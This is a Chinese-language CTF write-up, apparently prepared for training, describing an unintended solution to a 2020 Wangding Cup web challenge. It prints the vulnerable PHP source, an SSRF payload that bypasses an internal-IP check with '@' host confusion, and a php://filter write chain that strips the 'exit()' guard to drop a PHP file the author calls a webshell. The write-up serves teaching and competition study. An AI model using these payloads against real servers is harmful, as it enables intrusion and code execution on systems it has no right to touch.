今天在整理培训材料的时候意外发现了2020年网鼎杯一道Web题目的非预期解,特此记录。
题目是这样的:
index.php
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?://.*(/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
这是一道SSRF的题目,首先需要绕过inner ip,主要有两个思路:1. 利用 a@127.0.0.1:80@moonslow.com 绕过 2. 使用遗漏的ip地址 0.0.0.0 绕过。
提交:
/?url=http://@127.0.0.1:80@moonslow.com/hint.php
读取到hint.php文件:
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is welcometowangdingbeissrfme6379';exit();".$_POST['file']);
}
?>
这里根据提示,大多数人可能都开始去利用SSRF打redis服务了,目前网上公开的WriteUp基本也都是这样写的,但实际上,可以参考p牛文章 谈一谈php://filter的妙用 中介绍的方法绕过“死亡退出”。
唯一的区别在于,文章中所介绍的 filename 和content 是两个不同的可控参数,而此时是同一个参数,需要想办法构造和变形。
我这里使用的是:
php://filter/write=string.strip_tags|convert.base64-decode/write=?>PD9waHAgcGhwaW5mbygpOz8%2b<?/resource=a.php
下面简要介绍一下过程:

1. 原有内容会自动拼接 $_POST['file'] 。
此时拼接之后的内容变为:<?php echo 'redispass is welcometowangdingbeissrfme6379';exit();php://filter/write=string.strip_tags|convert.base64-decode/write=?>PD9waHAgcGhwaW5mbygpOz8%2b<?/resource=a.php
注意黄色文本对于php://filter来说是没有意义的,只是为了引入闭合标签和一段base64编码的shell文件内容。
2. 进行strip_tags
<?php echo 'redispass is welcometowangdingbeissrfme6379';exit();php://filter/write=string.strip_tags|convert.base64-decode/write=?>PD9waHAgcGhwaW5mbygpOz8%2b<?/resource=a.php
此时,绿色内容会被认为属于tags而被自动删掉。
3. base64_decode
此时 PD9waHAgcGhwaW5mbygpOz8%2b ,经过base64_decode 就还原成了: <?php phpinfo();?>
于是在服务器目录下就生成了一个 a.php ,内容是 :<?php phpinfo();?>
通过以上方法获取webshell 查看flag解出该题。